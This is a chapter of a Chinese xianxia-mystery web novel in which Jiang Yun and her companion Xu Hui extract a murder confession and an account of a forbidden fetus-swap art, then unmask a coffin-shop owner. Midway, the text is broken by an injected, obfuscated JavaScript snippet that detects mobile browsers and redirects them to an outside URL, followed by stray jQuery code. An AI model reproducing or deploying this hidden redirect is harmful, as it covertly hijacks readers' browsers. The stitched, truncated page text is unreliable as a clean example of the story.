89. 棺材惊魂案三
作品:《执伞:姜娘子又被扣生命值》 顾末被吊着,却也不老实,看着一会儿糊涂一会儿清醒,但到底是清醒还是糊涂,他自己心知肚明。
瞧着对方那张□□的脸,姜妘微眯着眼,只盯了一会儿,忽得冷笑一声。
“顾末,我差点被你骗了,不,这样叫也不对,你是顾末,却也只有一半灵魂属于顾末,那么,还有一半在哪儿呢?”
话音一断,顾末脸色肉眼可见的变化,心底的慌张透过那双眼睛,明晃晃落了出来。
他皱着眉,不可置信地问道:“你什么意思?你都知道些什么?你到底是什么人?”
姜妘只轻蔑一笑,倒是须回骤然开口:“我们是谁你管的着吗?小姜水问你话呢,给我如实回答!”
“姜,你姓姜?难道你是洛阳姜家的人?”顾末终于反应了过来。
须回不屑道:“还算有点见识,快说,你的另一半灵魂到底在哪?还有你体内为何会有顾初的一半魂魄?”
顾末自知瞒不住,最终选择了如实以告。
十九年前,越州城。
疾风骤雨间,汀烟轻冉,寒食乃至。
城中家家禁烟火,食冷物,唯独顾家老宅之内,灯火通明,水陆毕陈。
江南多雨,时值三月,更是淅淅沥沥烟雨难断。这雨下得久了,便多少生出些事来。
毕竟一些凶案,也大多发生在雨日,水一冲,痕迹全无,线索便又难如登天。
“头,这几日日日落雨,人都死了好几个时辰了,不好查呀。”
“不好查就不查了?官府养你们都是吃干饭的?”李宁白怒道,“死得是个半截入土的普通老者你们就不查了?死得如果是达官显贵家的老太爷呢?你们是不是拼命也要去立功了?”
他脾气不好,又暴躁又倔强,底下人多有不服,但也只敢心里咒骂几句,还不敢摆到明面上来,毕竟真把这位爷惹急了,他可是会拿刀砍了他们脑袋的。
几位官差习惯了混日子,真来这么一位干实事的,倒显得有些格格不入了。
“低着头干嘛呢!啊?一天天的就知道吃干饭!”李宁白指着一名最年轻的官差道,“让你去查这个老阿婆的来历,你查清楚了没?”
年轻官吏忙道:“查,查清楚了,这个阿婆是城东周老家的老仆,今年七十有三,无儿无女,是个孤寡之人。”
“周老?哪个周老?”
“周老就是周举子,本名叫周应天,因十八年前中了举子,所以大家都叫他周举子。”
“那这个周举子家住何处?随我去问话。”
李宁白大刀一跨,便要走,怎知那年轻官吏开口阻拦。
“头,周家您不必去了。”
李宁白眉一皱,高声问:“为何不必去?”
年轻官吏道:“头,因为周举子十年前就死了……”
李宁白最后还是派人去了周家。
周家已经没人了,周氏夫妇留下一封信便远走高飞,只留一个两岁的稚子,另一名刚出生的男婴却不见了,众人皆猜测那孩子是被夫妻俩带走了。
带走儿子却遗弃女儿,此举不义,李宁白不忍,遂将周然然带回家中,收做了义女。
而三个时辰前,越州城城西,顾家老宅门口。
老管家刚开了门,就见一婴儿啼哭不止。
他慌忙跑上前去,抱起婴儿的那刻,身后传来一道男音。
“信伯,你在做什么?”
信伯忙回头,恭敬道:“回郎主,不知何人将一名男婴遗弃至此。”
“男婴?快给我瞧瞧?”顾家主母面露喜色,冲过去瞧了一眼。
那男婴也不怕人,一见到她便止住了哭声,笑盈盈的。
顾家主母越看越欢喜:“官人,这孩子与我有缘,可否留下他,做你我的孩子?”
顾家刚死了一个小郎君,那小郎君才一岁大,顾越犹豫了会儿,看着自家娘子那般欣喜的模样,最终还是点了头。
自那日起,顾家除了一个两岁的小娘子外,就多了一个小郎君,唤作顾末。
顾初与顾末一同长大,二人成了形影不离的兄妹。
顾家富足,却人丁稀薄,做得又是陵园的买卖,也不知是否沾染阴气过重,老是莫名其妙死人,官府查了半天,都说是自杀,后来甚至连一岁的孩子都夭折而亡。
唯一活下来的顾初也是体弱多病,直到顾末的到来,萦绕在顾家的诅咒才彻底终结。
顾家再也没有死过人,整整十八年都相安无事。
可却在顾末成人礼那日,顾家两位主人相继离世,而顾家的大娘子,顾越亲妹顾琳则下落不明。
一夜之间,顾家兄妹不得不撑起顾家门楣。
可顾末说到底是顾家养子,此事顾家人不说全部知晓,但顾家老族长是知道的。
他多少对这位养子存在非议,却又觉得顾初一个女娃,担不起顾家家主之任。
却在一日三人秘密会见后,族长突然改口,不再阻扰顾末继承家主之位。
“是因为你与顾初有了孩子,所以老族长同意了?”须回问道。
“是,我与阿姐虽名义上是兄妹,但早已情投意合,我们青梅竹马,从小相互扶持,便也私定了终身。”
顾末谈之,眼神之中满是向往,好像他真的很爱顾初,爱到了骨子里般。
“你确定,你阿姐是喜欢你,而不是被你强迫?”须回一针见血问出此话。
顾末忽然恼怒了起来:“你什么意思!你质疑我对与阿姐的感情!你凭什么质疑!你算什么东西!”
啪!
一巴掌隔空打在了顾末脸上,他嚣张的气焰瞬间散去,眼神都清明了些。
顺着他的目光望去,姜妘正漫不经心地玩弄着手中枫叶,目光冷冷得,皆是对顾末的蔑视。
只听得她终于开口,却只有三个字:“吵死了。”
须回会心一笑,莫名觉得心里乐开了花,回头时对上顾末那张讨厌的脸,不屑极了。
“小姜水说过,声音越大心底越虚,此乃外强中干,虚张声势。还不快说!你到底什么目的!”
顾末愣住了,他低着头,足有半刻钟,终于在须回耐心耗尽之时,再度开口。
“你们说得没错,顾初确实不爱我,她爱上了另外一个人,她不仅爱上了那个人,还怀了他的孩子!我又怎么会允许这种事情发生?我怎么会允许顾家家主的位置,落在他人手里!所以在两月前,我派人杀了那个人。”
“那人是谁?”姜妘问道
“徐马离。”
徐马离,城东离殇书铺老板,于两月前暴毙家中,府衙判其:突发恶疾,暴毙而亡。
此事,也就不了了之了。
“你说这么多,还是没说你的另一半魂魄去了哪里?”须回问道。
怎知顾末却是摇了摇头:“我也不知在何处,为了报复顾初,我与一名青楼女子相好,她怀了我的孩子,我原本想要等顾初生下孩子后,用自己的孩子与其调包,谁知在一月前,得知了一种禁术。”
“换胎之术?”姜妘道。
顾末诧异:“姜娘子果真博学,正是换胎之术。”
“那种邪术你从何得知?再说换胎之术,根本就不是换胎,而是借胎之鬼迷惑你们这些凡人的谎言。”须回解释道。
顾末如遭天雷轰顶:“你说什么?不可能!我换得就是自己的孩子!什么鬼胎,你瞎说!”
他激动极了,拼了命地挣扎,被绳索捆绑的双手勒地通红,甚至磨出了血迹。
可此间种种,都不及姜妘那句:“自欺欺人有何用?就是你自己害死了自己的孩子,也害死了你阿姐的孩子。”
是他,是他害死了自己的孩子,是他害死了自己的孩子!
“我该死!你们杀了我,杀了我吧!”
顾末如疯魔了般,一心求死。
姜妘却仅用一根银针,就让他安静了下来。
“说说吧,此禁术是谁同你说的?说完再疯。”
“……”顾末有一瞬间的呆愣,片刻后,便一五一十地吐了出来。
城外十里,有一棺材铺子,铺子老板姓荀,名离,是个年过半百之人。
棺材铺生意不好,客人被城内另一家棺材铺分走了大半。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16756009|176410||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
敲门声响起时,掌柜还在午憩,他睁着一只眼来开了门。
荀离乍一看眼前两位客人,困意顿消,笑盈盈将二人迎了进去。
“小娘子,小郎君,来我这棺材铺,可是为了买棺材?”
“老伯,我们来棺材铺,不买棺材买什么?”
“小娘子说得对说得对,不知小娘子需要一口什么样的棺材?”
“自然是上好的棺材,要能悬在悬崖峭壁之上,几百年都不腐的棺材。”
此言一出,荀离脸色骤变,却一瞬间便掩饰过去,只余满脸谄媚。
“有的有的,只是这样的棺材价格不菲,怕是要千金……”
“千金?老掌柜,你怎么不去抢呢?”
“须回,不得无礼。”
须回闻言,乖乖闭了嘴,站在姜妘身后。
荀离抹了把额间汗:“小娘子,老夫也并非漫天要价,实在是这种棺材要选用上好的沉香木,此木大多是千年百年方能形成,能做棺材的沉香木需得千年沉香,而且要经过数百道工序打磨,方能做成一口棺材,所以才需要千金。”
“这么一说,千金倒也不贵,不过……”姜妘顿了顿,道,“不过我出门并未带如此多的钱,这样吧,我不要棺盖,只要棺身,您看能不能只收六百金?”
“这……”荀离有所迟疑,目光微闪,“没有棺盖的棺材?这如何能成为棺材?”
“不能吗?”姜妘慢悠悠道,“可我观掌柜后院,摆放着诸多棺盖,怕是有五十个,可这铺子里的棺身,却仅有十口。”
话语一落,荀离脸色骤变,他瞬间作惊觉状,往后悄无声息退了半步。
他出言试探:“你们居然擅闯我后院,小娘子可知,擅入民宅者,我可报官抓你们!”
“报官?这便不劳烦荀掌柜了,官府的人已经来了。”
“荀离,你涉嫌谋财害命!来人,把他给我抓了!”
越州府官差带人冲进来时,荀离正要逃走,却被一枚枫叶打中了脚。
“嘭”得一声跪下时,整个人都差点摔在地上。
荀离被押走,越州府司法参军却留了下来。
他躬身行礼,谢道:“若非姜娘子,我们还抓不住荀然这贼厮,今日多谢姜娘子相助!”
姜妘回礼道:“左参军客气了,举手之劳而已,今日多亏左参军及时赶来。”
左中照惶恐至极:“姜娘子抬举左某了,不过,左某来时,赵知州特意嘱咐,说汴京有话要带于姜娘子。”
“带话?”
姜妘多少有些困惑,毕竟她虽有些名气,可并未暴露身份,此来越州也并未告知任何人,为何汴京会有话带给她?
是谁暴露了她的踪迹?
她这厢猜测无果,左中照的话已进入了脑海。
他道:“太子殿下问,姜太傅何时归京,他想您了。”
果真是太子,这孩子倒是尊师敬道,还挺孝顺。
“我自会修书……”
“阿姐何时回去关小太子什么事?一天天的功课不好好做尽痴心妄想,你就告诉那小太子,阿姐不回去了,什么太傅,谁有空替皇帝照顾小孩!”
须回此言一出,左参军都呆住了,他从未想过,还有人敢如此议论太子和官家。
这也太胆大包天了……不过,这脾气真乃赤诚!
“不知这位仁兄是?”
“舍弟姜须回。”姜妘抢了话道,“左参军,太子的事我会处理,有劳左参军查明悬崖棺材案的真相。”
“自然自然!左某分内之事,自当义不容辞,那姜娘子,左某告辞。”
“左参军慢走。”
一番道别后,越州府的人终于走了,棺材铺也总算清净了。
接下来之事,便不再适合普通人插手了。
一道身影一闪而过,姜妘迅速追了上去。
棺材铺后院,阴暗之处,那抹身影停了下来。
姜妘手持红伞,立于扶光之下,伞下影子修长,腕间红色琉璃闪着微光。
只听得那伞下青衣女子缓缓开口:“你终于出现了,祈伞者:顾琳。”

